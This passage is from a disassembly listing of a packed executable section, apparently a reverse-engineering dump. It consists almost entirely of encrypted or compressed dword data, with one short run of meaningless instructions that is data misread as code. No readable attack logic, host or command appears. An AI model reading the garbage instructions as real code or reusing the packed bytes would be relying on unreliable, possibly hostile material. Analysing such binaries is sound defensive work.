		dd 626B98C9h, 4818F6C8h, 0B2807034h, 861A383Fh,	30544BD1h
		dd 3C0EAC74h, 29CB55C0h, 4C63CA93h, 2BD190A6h, 3A2111A6h
		dd 40741174h, 90D305FDh, 0BE4F3F2h, 7B06003Bh, 0FC732545h
		dd 75B803C9h, 3A37CABEh, 381B596Ch, 0C51E9BB6h,	50CB9ACFh
		dd 0DC36C97h, 97E1F84Fh, 0BD11F5A4h, 0A6225123h, 9B2EB180h
		dd 0EB96ABB9h, 0B8333647h, 0C65B5DF9h, 0C41DFC53h, 0D88131B6h
		dd 0FD6C838Bh, 2E4BDCDBh, 4A9F9C39h, 0D56D920Eh, 7B0E2519h
		dd 0F5509A25h, 1DCFEB8Ch, 0A30D10DFh, 0DDCAD26Eh, 0EE6684A5h
		dd 5C47E655h, 0CA1B6711h, 47D3084Bh, 0B49B1EE1h, 3C83E92h
		dd 0ADC6C09Bh, 8363E9A8h, 3B9E0BABh, 4C2B6E8Fh,	585C2696h
		dd 8BF4C454h, 1984B27Bh
		dd 8EAC8AD3h, 0BD8CA359h, 0F92B6223h, 0AA00B33Ah, 0C6832BDCh
		dd 8C0E35ADh, 0EAB04201h, 0CA12500Ah, 0BA3B8828h, 3E4FA58Ch
		dd 0B434AB8Dh, 4BF853A9h, 0E47DF1C3h, 0AC8F73A2h, 75CC5EFAh
		dd 6508131Dh, 99C1FB1Dh, 22B05CD4h, 0EFD1E346h,	0FE45B6CAh
		dd 4635A5BDh, 0FF6E152Dh, 7006839h, 0FCD95D31h,	18A059A7h
		dd 930C07Eh, 0A945726Eh, 0ED140BF7h, 49702623h,	1D5C48CBh
		dd 250BDC88h, 2EA8C92Dh, 5FA608B6h, 1D3F2397h, 3440D0F6h
		dd 0BC94B6EDh, 0CF580949h, 215F5B36h, 9846E3Ch,	0F91567B8h
		dd 7E4AFC1Ah, 25064CF3h, 0DF364F57h, 29F5C24Bh,	4DD0E3D4h
		dd 0C12A0D12h, 7FB83EFDh, 0B8A1866Eh, 89AE1E57h, 6648AAA6h
		dd 99FBFDCAh, 0A2C71034h, 150D8D55h, 115C96FCh,	0F37846FDh
		dd 0E3067C69h, 0CD0F7B3Fh, 746CFE28h, 0E7ACFAACh, 1130ECE9h
		dd 4768EF08h, 0C25F285h, 9847572h, 5A5B97DAh, 957BE7E9h
		dd 83699696h, 98829BECh, 9E52C0Fh, 6D975850h, 0EA9FD979h
		dd 440DA66h, 71F422ADh,	0E60AAB9Dh, 301B8573h, 2C7AA91Eh
		dd 682F1C12h, 6FE83297h, 0F7A78D20h, 416173A7h,	0F1035B85h
		dd 30255982h, 0BF33ED2Eh, 0CEBEFA39h, 5C4BEA33h, 84F26991h
		dd 2B8D3CC8h, 0DC168928h, 0C55BE939h, 697715D6h, 99FA2F4h
		dd 0D28CDAFFh, 21FDEEEBh, 0CDA8754Dh, 0DD801F6Eh, 5F7647C4h
		dd 673E2E32h, 30DDBCBAh, 0F1A13610h, 0DC293390h, 0E77CFAE0h
		dd 0FB79F641h, 5381DA2Bh, 92D027B2h, 0F9D84EF2h, 0E55920A0h
		dd 0A6CDFC46h, 0C2FAF14Dh, 186E8BB7h, 7DF93E74h, 0DB5C064Bh
		dd 9753A8F0h, 0ADE73444h, 0BC7BEE51h, 0C69094A8h, 8918D26Fh
		dd 93D2991Eh, 2871A1B6h, 0ADE8BB1Eh, 56BEC9D2h,	456693BFh
		dd 0C8CED68Ah, 0B9CE26EFh, 46FA0146h, 90740848h, 0EF8DE927h
		dd 484B2BF6h, 0D876345Fh, 0C3FA0BDAh, 10C8461h,	0F091199Fh
		dd 0B9666DDh, 91DAD526h, 80A28C4Ah, 0A03C2706h,	9E56858h
		dd 0FC08E762h, 29347658h, 0D237EC96h, 0CE9CCEE8h, 42B35C8Fh
		dd 0F065F667h, 2A941F2Dh, 1ACC8F43h, 9DBF7A4Bh,	85E3B017h
		dd 6D53DF38h, 82FF4FDEh, 9DE7B30Bh, 0FF9769F0h,	7C3DFD33h
		dd 0C4114643h, 0F778B44Bh, 0A87B4525h, 0C44E220Dh, 431495D3h
		dd 0C8B2D2Fh, 12381EE3h, 92674FFFh, 87CF2BCCh, 0A0279512h
		dd 0BEE9099h, 4BDC840Ah, 49EA0AEAh, 0DB6EEC12h,	0BAC26CA7h
		dd 0E7156902h, 0EC9BF60Ch, 0BA004729h, 0FA682BF8h, 0F34D3104h
		dd 3E10E152h, 8AB9C1D0h, 353FBB31h, 72FBB5C2h, 46815FB8h
		dd 8142A26Eh, 0F9EB9F90h, 348D5DD9h, 235DDC26h,	7B221BABh
		dd 8061C480h, 0B91FE80Ch, 9EDE25E7h, 4B7D7997h,	61CE2AADh
		dd 61A72134h, 73A2FCD6h, 7665A319h, 903C0B09h, 89EF4535h
		dd 73618D12h, 148FC01Bh, 0CF635809h, 66456360h,	4C4549B4h
		dd 0FE37B0E2h, 0C4544F29h, 6B553A00h, 0CB61BC12h, 0E3D090AFh
		dd 1C258C92h, 0EA34E0A0h, 0AFD7F594h, 4EBD1B8h,	3B1A5C32h
		dd 3462827Bh, 0E0E2B86Ch, 38C6B809h, 67A6F0D7h,	2C04CB8h
		dd 0EC5AA2F6h, 5B0D9ECEh, 0AC8FA3F6h, 556F5EBBh, 92FF7166h
		dd 0FEF4A6B4h, 1063D373h, 0F983067Eh, 3CA3DE29h, 2A0CFCC4h
		dd 0C8BFEE3Ah, 0BC9A0A32h, 59E3E2ACh, 6ED381Fh,	6AB51CF5h
		dd 90BA92EBh, 4ADF92DBh, 0EED5C458h, 0F1ACD350h, 0CE33B64h
		dd 46A499FBh, 988C2BDCh, 7E122C3Ah, 0D8716A4h, 0EE075D44h
		dd 70F28F74h, 4533244Bh, 0A2C85870h, 0A5377A82h, 35FDF1ABh
		dd 0ED31D58Eh, 608C19C9h, 1CDF2321h, 0A2DB866Ah, 9E42A769h
		dd 0CBFFF489h, 5FE71377h, 0A3C47568h, 41BB936Ch, 890C7AF3h
		dd 0A0D57B96h, 0BD0B197Ah, 0E0736A12h, 1503A9E7h, 7767384Fh
		dd 0B7714CFCh, 92D2840Ch, 9D51B2BDh, 48F2ABBEh,	0B3BE8444h
		dd 0F5009F26h, 518F74ADh, 9825B352h, 5FFB05E6h,	1AAA6FE6h
		dd 6312C248h, 0B84C3EACh, 0FD5ABE4Eh, 0D61CEFD5h, 0FFBEB954h
		dd 1EF06629h, 5BED3C91h, 3130FA6h, 39ED7057h, 0B22851BAh
		dd 118D3AAh, 74CC3521h,	0F1388E28h, 12BF1A35h, 0E44C436Fh
		dd 6C7B3FECh, 564E76F0h, 0BD501C0Ah, 0F3BAD76Bh, 3ED4CBE2h
		dd 0DA6816A9h, 8900DDB4h, 4DF0AFEh, 0A8AD49BCh,	277F38BDh
		dd 90A0BA28h, 8FDC1E3Ch, 0DACE1522h, 51566669h,	2CA1E01Dh
		dd 0DE01E4Ah, 14326696h, 6453AB71h, 0AA42F3B7h,	5A8C3751h
		dd 42AF614Eh, 1F8F2413h, 0CE096D50h, 58936687h,	9E3FE325h
		dd 0E51CABC7h, 0D096EBA0h, 663428E7h, 51FDFD2Eh, 54F6A5F3h
		dd 81B8FBFh, 8F38192Bh,	5D99A714h, 736D264Eh, 489AA499h
		dd 0C751FDD9h, 272AD2D9h, 4C03564Bh, 0F4A6EF08h, 0D8EF1C72h
		dd 1ECD975Ah, 124ABA79h, 2C772637h, 24AE0A3Fh, 52C84CCDh
		dd 0B2BC0BECh, 0FBD2112Dh, 1266D19Ch, 91A9D396h, 0D7AB11BEh
		dd 1165E922h, 9E9BC651h, 727C2111h, 96323167h, 59C2B03Ah
		dd 8D5F5397h, 39864A0Dh, 0DF9C5595h, 97C098B6h,	0AB17AC2Ah
		dd 9A90CA3h, 0B857A7F0h, 85565B13h, 5AAE41C2h, 2D0E6773h
		dd 2A1DFEE5h, 1FF689Eh,	169E96E1h, 0EBF60C29h, 739419EAh
		dd 89F89171h, 336B5D6Dh, 0FEAC17B0h, 66D8796Fh,	824C3875h
		dd 12212C03h, 81557E7Eh, 48EB329Bh, 7825CB1Dh, 8D345E39h
		dd 5D188749h, 8FFCE5B2h, 2A85A153h, 0DBE9DE69h,	86738AF6h
		dd 0C58E481Bh, 0FF6D6698h, 589FDCBEh, 17D98FFAh, 602B9D8Ah
		dd 162EAA95h, 7017CCDh,	0D4B54325h, 5CA72CCAh, 3B17FF9Bh
		dd 69F748DCh, 0BEE5E5BCh, 5E52CB64h, 0D9694BC4h, 5DF0DD7Bh
		dd 734B40A4h, 8A399909h, 0B74DED5Eh, 698ABB91h,	0E1FC1A9Ah
		dd 0AAB7AB82h, 835EE0AFh, 50E55E67h, 0E889290Ah, 0E4203E2Eh
		dd 9FB85030h, 0AE7C8CC7h, 78554E3Ch, 0CF9F5A5Bh, 25806EB2h
		dd 0DDED3EECh, 30EC9C6Bh, 3EB12A22h, 0CF89814Eh, 8A86A405h
		dd 9E319A16h, 0AA28768h, 66A04C27h, 80EAAEA1h, 85506237h
		dd 0AD805C6Dh, 0CB9E3C5Eh, 0C66679F7h, 0F574C677h, 0C38DD4DEh
		dd 5EC1675Eh, 64B9F2C7h, 3401F98Ah, 0AE91FCF2h,	858AA2F5h
		dd 8AEAC4Dh, 744931A4h,	66E0B880h, 5C9B3829h, 42B11602h
		dd 86634EFEh, 23650390h, 0E32A4529h, 52534D86h,	232EB7AAh
		dd 2E116752h, 46CF9C19h, 88349CF8h, 0B9244AAh, 3891FC89h
		dd 9B027E18h, 0D207AFC5h, 6DB83872h, 0A8B5B087h, 8EBE3558h
		dd 0D192E562h, 0DD002797h, 0B3FA1F8Dh, 2FD3F00Dh, 764879Bh
		dd 38D045AEh, 48118C27h, 10F5CCFEh, 4892160Ch, 0EA95CF2Bh
		dd 28B8CDD6h, 729FD95Bh, 0CFEFE84Eh, 1BD79FE8h,	0E9A565EEh
		dd 35878665h, 8583C8E0h, 69EA9F45h, 896C2DC8h, 0ABC86C6Bh
		dd 0F5C02BCAh, 0AD018FAAh, 0A6D67EB6h, 82700CC8h, 18864294h
		dd 83EA01D0h, 0D6F25899h, 0C386A57Fh, 16D7EB28h, 836CD266h
		dd 17F64A6Ch, 9275DDA0h, 0A2B0B75Bh, 388ACB0Bh,	2517FD51h
		dd 655EC107h, 0B2A30C33h, 19747CA8h, 0FE8E0066h, 0BA429526h
		dd 7E0E4E0Ch, 0C99A6E0Ah, 30F0C297h, 5EDF037Ch,	0A0FF99DCh
		dd 0FC81C366h, 0C3EA0A8Ch, 0E7D0473Bh, 8ABB0162h, 0FE90C0B1h
		dd 0C1A482Ah, 39ECD39Ah, 51A47815h, 4681BB43h, 490BD7BEh
		dd 8ABD5FD0h, 0AE94E6DCh, 0EB8DC07Ch, 0DF8FE254h, 0F4C028F0h
		dd 217F316Ch, 21B470h, 0A54720E6h, 9911E926h, 49115B8h
		dd 0B523489Dh, 0CB0256FCh, 2D3A8FD2h, 71906EFh,	118BD54Ch
		dd 5432B18Eh, 9608BF6Fh, 2DC71202h, 8ED9DCC8h, 430BB25Dh
		dd 0E62C483h, 59CC7B6Eh
		dd 0F571923Ch, 98D6A204h, 35BF6DE3h, 9119EF3Bh,	168008h
		dd 7B32B234h, 0A52B6D68h, 5D7DEECBh, 7F421EECh,	89D13C45h
		dd 0E9E9C503h, 98650E9h, 4DE63A5h, 9B880093h, 0F388E71Dh
		dd 93DB525Fh, 25544371h, 0B10DCF83h, 2DCD13B7h,	0E67A5861h
		dd 0C4E22598h, 0EAB1690Ah, 0A3052ECDh, 0B13C7AF3h, 79899A98h
		dd 88BE9E45h, 1A8BAE1h,	4A2E32B6h, 43371E9Ah, 0D8AEEEF7h
		dd 8E8C7EC8h, 3C01F50Ah, 0DBF5FB26h, 0A6CC1662h, 45F69BADh
		dd 94C698FEh, 617FE1ABh, 0F81FCAF2h, 0B2B4474Ch, 26047366h
		dd 10B2043Fh, 0C871D6DFh, 0B405DE90h, 0B572EFAh, 90213F00h
		dd 847279Fh, 4943045h
		db 0C0h, 0D2h
; ---------------------------------------------------------------------------


loc_4238BE:				; CODE XREF: .packed:00418D29j
		sal	dword ptr [edx], 1
		adc	esi, [edi+1378FFh]
		mov	dh, 95h
		fsubp	st(7), st
		fdiv	dword ptr [edi-207A822Eh]
		add	al, 0CDh
		adc	eax, 0EFFEBE58h
		mov	edi, ds:38654945h
		db	65h
		pop	ss
		and	cs:[edi-11202C9Ah], dl
		mov	bl, 51h
		out	86h, al
		aad	0Ch
		in	eax, 0AFh	; Interrupt Controller #2, 8259A
		xchg	ch, [eax+esi+4]
		retn	0D990h
; ---------------------------------------------------------------------------
		db 1Ah,	9Ah, 6
		dd 2AAA71CEh, 0C7EE26A5h, 0EB636F76h, 0C1F13D29h, 91125C14h
		dd 0D3D5D0F3h, 0DECFACE4h, 44372A03h, 0C5560943h, 0A086A0EDh
		dd 121D89B9h, 0A3541F88h, 0F04805A5h, 72B03035h, 0BAA897D8h
		dd 30857FC5h, 0CE584CD0h, 0A4C818B4h, 0BA21D9AEh, 0F592DDA9h
		dd 0BD868905h, 1A0B15B7h, 7428745Ch, 3C2FCF9h, 0E5AF19ACh
		dd 245CB1A1h, 0B813B961h, 0FF355BDEh, 773CB853h, 0A52B3D3Fh
		dd 4CB6CE66h, 6B4ADD0Eh, 24C6ADA0h, 91545614h, 76D7CDB7h
		dd 5102E82Ah, 0DF6B32EFh, 0F330CC08h, 73F4DC09h, 0D3182636h
		dd 5943159Eh, 490396F4h, 5B879F79h, 4B4847C2h, 0FAA0D019h
		dd 4EF12BB0h, 4C3F3C0Eh, 998F855Bh, 7E422343h, 0D52F49C1h
		dd 649EE0C3h, 888C757Eh, 9B14FCD7h, 0F3D5829h, 97F36985h
		dd 3B4BF40Dh, 2312C83Fh, 0E03F95C5h, 8A5300B4h,	35D45ABBh
		dd 318D69C9h, 921A7D2Eh, 49CC3326h, 1CB65735h, 0BB61565Ch
		dd 0BEA74D8Fh, 262E29B3h, 19F58046h, 6D66CA79h,	0E1A611Eh
		dd 0BC010B3Bh, 0AA276326h, 0AEDD0784h, 6359930Eh, 0D8A040D1h
		dd 107809EDh, 147F9328h, 6E2A0B2Eh, 647E7D7h, 534C0198h
		dd 444A40FDh, 0EC704ECBh, 2AF49F3h, 0E3509808h,	0BF056A58h
		dd 7B9EC97Bh, 7398D84Dh, 0CC267904h, 2B3E18C5h,	58233702h
		dd 0D769317h, 0E4F30104h, 0B1EA6F73h, 0CFE4EACAh, 0AC85EF38h
		dd 9D196886h, 0B92FD622h, 12764532h, 38DBC040h,	0D528AB69h
		dd 0C46F7A2h, 4E9D5A17h, 99DD3C58h, 0F7E11CF7h,	0A662CB52h
		dd 5B1298DBh, 1BD6B9E7h, 1D9CE203h, 6C95E404h, 5F21C151h
		dd 0DF1A1691h, 8FB960FEh, 0AC7FB1CEh, 0D43BBB94h, 3787C30Fh
		dd 0C433BECEh, 0DC3620Dh, 0F7DCBB49h, 8D246BADh, 0E56C86F0h
		dd 5DE2F70Fh, 8409C172h, 22CEC2C3h, 5A7332ACh, 2FC756C0h
		dd 3E74AD3Eh, 0DC3DAC04h, 0E6224951h, 0DC6936ACh, 5CDCE1D6h
		dd 1AEBA1B5h, 0EFAB837Ah, 69D1BCACh, 0CECB7BEBh, 89F5FF27h
		dd 2A3A92A6h, 0CFA2C661h, 0D1124491h, 3E7E980Dh, 0F2FF7901h
		dd 0FAA628C6h, 15BC1B46h, 0B8A24A37h, 8D78F95Dh, 4231D26Eh
		dd 0C3F15C5Ch, 0B1C18136h, 3C1CF952h, 30B0B1CEh, 0A4785811h
		dd 0BC8F45F3h, 18DF13D9h, 5D6065F6h, 0DEA97D5Fh, 0BCBB829Dh
		dd 4CB9FC4Ch, 4F0429C4h, 34E69908h, 3661ACFFh, 6E31C8B1h
		dd 0CE04CA38h, 8943E21h, 3910E065h, 1E22EF35h, 2E2F9055h
		dd 0FD0EBFABh, 0F7416047h, 0C20E105Eh, 0E94C5C67h, 0FE2833EEh
		dd 0C6193245h, 52B4C6F4h, 4EF6676h, 547B2169h, 2C578A99h
		dd 0CA04746Ch, 0DB39B198h, 0E02974D2h, 5C875057h, 5B43A82h
		dd 0B6E6023Dh, 11A24512h, 248F875Ah, 0BE6DA6B8h, 0A04C78EFh
		dd 0C6819C4Fh, 63F2677Bh, 0F68909Bh, 0F8ACA33Dh, 0DA9C9925h
		dd 2A2EDDEFh, 8894FC1h,	8A058EA9h, 7193FF65h, 5845B4E9h
		dd 807C4C7Eh, 0D9615F5Bh, 7030F91Fh, 0A0EE1900h, 7D6EBD83h
		dd 0E2E92A44h, 1F6543F2h, 0CB456D1h, 422AE8C5h,	0F32488D5h
		dd 0FD8DC484h, 5A5D887Ah, 0A62C91D2h, 43603791h, 0EE259FF5h
		dd 4F6AD5E7h, 9B862874h, 14D99780h, 9417EB1Dh, 0BDC06B3h
		dd 5839B377h, 0FCD10528h, 0A1FF67E3h, 9BEB4277h, 16EC878Fh
		dd 28B2F08Bh, 0B4CD0329h, 0AD40A663h, 62735CC4h, 70F57D9Eh
		dd 80BDE5BCh, 22B5F818h, 918FF092h, 0E4445284h,	0B8E47144h
		dd 91856D7Ah, 47F5DCE4h, 0F25D5810h, 71A14C54h,	334FF221h
		dd 0D8683B24h, 9C5E012Eh, 84CA181Fh, 0D8A25183h, 0D9689F5Dh
		dd 2E766F52h, 0B16E1D87h, 0B5E3AD9h, 5616FFF3h,	0D217574Dh
		dd 2A22034Fh, 513B90D2h, 0B5FFD3CEh, 3CCB4A02h,	79792AA4h
		dd 6FA9BF02h, 0DC0DC583h, 0D69B85FDh, 0B85F1293h, 0EA22D629h
		dd 6FB29992h, 447C4E88h, 5FD79C89h, 0C54DBD10h,	5A100DCAh
		dd 1F0F3B58h, 8E8201E1h, 3738254Ah, 0F561814Eh,	0E5AEB741h
		dd 3748B94Eh, 151892A0h, 0F6CF7DBBh, 95B82784h,	2B157B8h
		dd 0F433E29Eh, 5D91975Fh, 45BB7085h, 64C4E327h,	0F073645Eh
		dd 86BEDEAAh, 0F424BABBh, 3642B95Fh, 58E4B779h,	0F332CAA0h
		dd 83844128h, 0F3A1DBF6h, 735B4A60h, 0AF653AE2h, 9D285A4h
		dd 8D3A0988h, 355C6CE1h, 89E59CEh, 0EBDD45E2h, 63983EE4h
		dd 931762D0h, 0F9717F73h, 255408BDh, 0CF23CFB3h, 760D8503h
		dd 0E1CF2EA6h, 0E6CF8E2Fh, 560F935Ah, 0A4C3C3BBh, 6FDB0382h
		dd 523F1F8Bh, 1B3A396h,	8CAA6556h, 6C9457DCh, 0BE821A50h
		dd 707CCB06h, 3D9B23CBh, 0F28C6A9Eh, 0E06701A7h, 0CB1FB085h
		dd 700E0617h, 0A9FDBECh, 63886B15h, 2A62D0h, 0F71B1B22h
		dd 424841Bh, 92FED803h,	7D9C9C95h, 0BF9991D5h, 3035ACBDh
		dd 2DAEFA1Ah, 1DBBDA58h, 0E67B09F7h, 0BB1A962Eh, 1B62FBDEh
		dd 89754D7Fh, 0AC5F26BEh, 656E76D8h, 0A949C84Ah, 1D2882CFh
		dd 553B4832h, 0F7DC84A0h, 76B62130h, 0B0FE7DD0h, 7BF1D627h
		dd 0E0CF5D57h, 234BE50Dh, 53ACE44Bh, 92457A0Dh,	0DFC145BAh
		dd 237FD1F7h, 0A3588058h, 6C9A6D4Eh, 0E61DD9C1h, 0AFBFD644h
		dd 0D3B8ECB5h, 0D19EBA7Ch, 6D278E0Ah, 0C85FEDA8h, 22D471E1h
		dd 636E32C3h, 5EB82291h, 3BFE6862h, 5DB35FCEh, 2E33533h
		dd 0CDD00863h, 1157E2h,	0D45F7774h, 0FD259B9Bh,	7FCBF1C9h
		dd 0ABA34949h, 0EC46D732h, 482A0D24h, 0E727CE13h, 0A1357690h
		dd 5591CB44h, 66331AE8h, 380D2A67h, 53936BFBh, 0DBF394A1h
		dd 0B4F4C087h, 0AD23B6AEh, 12D004C5h, 271FE31Ch, 776BC2C4h
		dd 1550F9Bh, 0C40FF105h, 0A41EABEBh, 59D3B2D9h,	9A45A9EDh
		dd 9A37D659h, 87926CD3h, 86D34245h, 0E0E477ECh,	0D022FA9Bh
		dd 0BD50A9Fh, 0F8A3D0EEh, 0B876A0BCh, 0FD127D86h, 3E7CA390h
		dd 153FEDC8h, 454D1BC8h, 0A12AC75Eh, 0F0093A07h, 1980843Ah
		dd 63B72E0Ah, 3BF3069Ah, 0F567F550h, 428B00E2h,	0BE62763Fh
		dd 0A34901EAh, 10848F32h, 84DAEDA3h, 195C2042h,	239AFA05h
		dd 0F01D286Fh, 0D7C5E123h, 90233592h, 4B77D166h, 5812EE13h
		dd 731C8D72h, 0E32EC9B8h, 0E2E57531h, 13C01FE4h, 73386DDEh
		dd 0B8862E6h, 9AC41936h, 0BB9D9105h, 0DB5EE06Eh, 325B2526h
		dd 0BE1AC928h, 47E50AF5h, 501DDA75h, 5157048Bh,	8E8A7272h
		dd 59D8DE1Dh, 26F9353Bh, 73AA88A4h, 5235914Eh, 1EC29535h
		dd 0BFB0E6EEh, 4CF477Ch, 83AB4F02h, 8960A351h, 6758E997h
		dd 880134F9h, 0CFF0EEC3h, 336AF55Eh, 385EFC2Eh,	69C297EAh
		dd 3AA4843Fh, 5F28F6C5h, 10272D45h, 7D2C03A6h, 0D589A09Eh
		dd 0AE4ECD0Bh, 99B74795h, 0F426A6E5h, 9613948Bh, 0F0DC08h
		dd 4E81EA02h, 5B592E1Fh, 0F2311DC4h, 6DF34BF8h,	3AFFAA1Dh
		dd 8D2DDC82h, 0B945283Dh, 41B7A718h, 0CC50A7Fh,	8E58F1D3h
		dd 9EECDAC7h, 988792F6h, 0EB702196h, 1DA81374h,	166BC70Ch
		dd 898E71B5h, 0D14360BFh, 447C0A9Dh, 987909F2h,	0CC2D23AAh
		dd 0C16A7D48h, 2A962746h, 8A5D7399h, 0D9BFEA5Ch, 957798A5h
		dd 0CD610A27h, 314BBB5Ch, 8EAE52ABh, 9CBD2911h,	0B060F2B3h
		dd 618D2D1h, 8AEBCD28h,	88ECA160h, 4CE13D5Bh, 26FB8B7h
		dd 0F4BDFC37h, 69FA5A2Dh, 82629BDDh, 0CA6FCF08h, 8AE7EF7Fh
		dd 0AEF45077h, 6B938324h, 93732154h, 55D114D3h,	0A29BA41Dh
		dd 0EAE22D67h, 88074DA7h, 55F3A673h, 0D3CD89C1h, 0AD29360Dh
		dd 7C475174h, 0B391B160h, 54D81B4h, 9437B585h, 32003436h
		dd 5B67AE2Ch, 28C4D4E2h, 0C1ACD01h, 0DD71838h, 321539CDh
		dd 66356757h, 0EDD32C75h
		dd 213EC47Bh, 0E7522641h, 29371989h, 8E28EB33h,	1AD24BCBh
		dd 0C1F56824h, 7CF2C1CBh, 80CD5271h, 0C18BC365h, 0D3F21B2Fh
		dd 98FC7DD5h, 4793594Bh, 596BF86Dh, 0C198C66Ch,	3D85BDACh
		dd 0AE697BEh, 0A8DEBC00h, 0CE7C5BA6h, 0CEE7BDB7h, 0A59A3BDCh
		dd 8F5029A3h, 9B91113h,	0BE78500Ch, 1969A436h, 8E599311h
		dd 6492C544h, 0EBF88BC1h, 899457B1h, 7ACB1C6Bh,	905E7858h
		dd 70EBA3AAh, 0E0B35463h, 464A8DB8h, 0E14EC2E5h, 5E65CFD4h
		dd 81AE18B7h, 2C67F94Bh, 0C7A4F45Fh, 20E57BCCh,	0C37002DAh
		dd 0E802560Dh, 466DA8F4h, 86E70560h, 0B46E0B70h, 0F571644Fh
		dd 1A298D2Eh, 0F31068C9h, 28326C9Ah, 0C1A020E3h, 0EFEC1AE3h
		dd 0A484CF26h, 612B47F7h, 60901C2h, 7D1F9723h, 71C45B61h
		dd 1D70128Ah, 0F3D644Dh, 185CCB86h, 0C9A237C8h,	0FAFC5283h
		dd 6B37FE8Fh, 0FB4A3105h, 8FD38E33h, 0E972C3C4h, 0A6349554h
		dd 0EE9E84F7h, 734B1BE8h, 0C7803D13h, 144C6B44h, 0D52C030h
		dd 0AFCEE697h, 3A7BC9A2h, 0F887337Ah, 39FE8972h, 0A3140D57h
		dd 1847EDC8h, 616D41DCh, 1C2F0DCAh, 7D5B1F6Ch, 489EEFE7h
		dd 948281CFh, 0C6541729h, 65DB4E31h, 4E7BBDB2h,	801542Bh
		dd 241EB39Ch, 2E284121h, 39BCE8D5h, 5CC810F0h, 1B74098Eh
		dd 86400B53h, 4F6B293Dh, 513E735Dh, 546818C9h, 2D5ADE37h
		dd 0BF282BC2h, 305E1A9h, 5766DE0h, 0BEE60E78h, 8772ECACh
		dd 0E976EECEh, 0A0433C3h, 0B1E13D9Ch, 0BD790164h, 0B7278719h
		dd 1678F2DAh, 0C10AF2EEh, 0AAC179B3h, 0AF1385C6h, 8E8651D3h
		dd 46A32624h, 72CD930Fh, 4DBD3B2h, 2A9F8522h, 0DE8E5042h
		dd 61D1B666h, 0D1893E76h, 0F6EB7968h, 0D64DCE07h, 3B9656C9h
		dd 4E959E5Fh, 0B624FDB1h, 0A933ACB2h, 0F04B4604h, 0D75E71C7h
		dd 455EA2E5h, 32D26807h, 0ED87F12Bh, 8F14361Eh,	7064C7A9h
		dd 809D8035h, 4A078242h, 8F104424h, 0B572B86Bh,	0A43FAD1Fh
		dd 0C4B2EC82h, 32354877h, 272F2E9h, 0A50504ABh,	63E39E42h
		dd 2399584Fh, 0A58DBF60h, 27082BF7h, 0C956D41Bh, 0E285C352h
		dd 744789ECh, 2D5083EBh, 0E4891A86h, 92161B00h,	32B776C3h
		dd 388FBC7Eh, 8EB2D892h, 15478DA3h, 11E8C63Dh, 8F035A7Fh
		dd 0BBFF9C45h, 0B5DA4B03h, 4A99B082h, 0A1D64EE6h, 4B40EA6h
		dd 6B8A8762h, 3D9749C6h, 22E9864Ah, 0B8632D54h,	0AA38EAFCh
		dd 98EDF334h, 0E3124F4Bh, 0E61F3F42h, 7F096D17h, 0FDE1608Bh
		dd 1273D7DDh, 1FAEBACh,	0B63F1026h, 0FB690ABDh,	517F9305h
		dd 0DA9B4FB3h, 0A3291DCh, 4EF4B8F2h, 0A1FB351Dh, 0AA666E34h
		dd 9E649B3Dh, 0B92B3998h, 76FA7160h, 0EA511659h, 0F3E3A3FEh
		dd 798C49C5h, 9FFD51F4h, 9C8FE333h, 6E57D620h, 81E91E07h
		dd 4A87F458h, 0C4BC14FEh, 2E35524Ch, 5B10093Dh,	0E104B693h
		dd 2906743h, 30F9F6F5h,	375B6609h, 5A4D3C07h, 9A89936Eh
		dd 969920E1h, 0F5BAB3D9h, 60E12407h, 708199Dh, 0AB618DA9h
		dd 37185DCAh, 66763DBh,	0B435B259h, 87B576C6h, 1F69DAACh
		dd 56F29DF2h, 0AC086E29h, 8D857DA8h, 7EBAD704h,	12B5BE67h
		dd 0EB1BE2F2h, 0DF7FEA65h, 9F704D78h, 3ED7DACBh, 53F001BEh
		dd 2C86336Fh, 16864CF9h, 5D19E621h, 7FDB934Fh, 0D79C32AAh
		dd 1229D5CDh, 3BF92406h, 6B74FD77h, 0F0320754h,	24839C88h
		dd 499876C8h, 28E2938Bh, 0A122140Bh, 7DE30E60h,	914F650Ch
		dd 0ADE5FF92h, 775FF2F5h, 23E1A92Eh, 8E3453F7h,	0D7703BDBh
		dd 94FADF56h, 0C2852266h, 7EB06322h, 0A7581D66h, 0BD97FFF5h
		dd 0DB25D718h, 0F922B5FBh, 70BF2240h, 54A83263h, 60D8068Eh
		dd 0A477CC6Eh, 0CAC71CE8h, 0E86F3863h, 5A66BFC7h, 0AF2DA964h
		dd 1BDD5EC9h, 75FBDEF6h, 0E3DBB97Eh, 5B756134h,	75BEBCDFh
		dd 787D09A8h, 0F1A1432Eh, 0C4D95C39h, 0CEB5E552h, 7E86B3A8h
		dd 6166714Ch, 51B3DDBAh, 0AD900A00h, 4092A68Fh,	63DBE4AEh
		dd 0C3744BE2h, 0C06D5134h, 0CE07C0A6h, 0AEF8119Ah, 7FEECE22h
		dd 0C827E949h, 3F3F8ECFh, 0E082884h, 0C6D94814h, 0F5947222h
		dd 727A654Ah, 0BBF3E638h, 8F91033Bh, 0D6D6F331h, 0BA77C6B1h
		dd 6BDCEF9Dh, 0A1E121D7h, 0BB55BF5Bh, 818E1812h, 0DB922B67h
		dd 0D9FAD8E7h, 95620730h, 0EFB73013h, 0DE43E41Fh, 5027D10Dh
		dd 0F689E4DEh, 0AAB943D5h, 0EA14E8DFh, 932DF45Eh, 91226E47h
		dd 0DB2141C2h, 0F0E1CB5Dh, 0BBE4747h, 0B5235A48h, 0BBE9004Bh
		dd 0DC8FDE30h, 0DFC74B29h, 61884B7Dh, 0A2CE1E5Ah, 0B4EA3ED5h
		dd 12E50AADh, 6D7023DEh, 0ABA5B4FEh, 67CE0507h,	2884A51Dh
		dd 0C9DBBDEEh, 1C44A243h, 0BA66DED9h, 0B6A87CAFh, 0F62AA2Ah
		dd 0E1D5ABF2h, 0AF501BC4h, 87D5FE6Eh, 0BE0DFD9Fh, 29E9E585h
		dd 0FA7A335Ah, 721CF56Ah, 8F1D41F0h, 0B552EFCEh, 4A338F90h
		dd 95F37D45h, 434171A7h, 7CF9473h, 0A4089798h, 0A43EF754h
		dd 75FD3D43h, 917938A6h, 7BDF03A9h, 38A2F236h, 7DBD6C70h
		dd 33B4AD9Fh, 0BCF27EABh, 0CD3C441Fh, 0C2825901h, 4C6FD5CCh
		dd 9A47D32Ah, 296B14F1h, 0AA2EA15Ah, 0A2373685h, 5362E3ECh
		dd 0AFE6FCAEh, 0E6329B8Bh, 721E619Fh, 6D7E7A11h, 30EC14ACh
		dd 0E7C4E8D8h, 0E21321C8h, 6492F1EAh, 0FF638A72h, 7779A9E4h
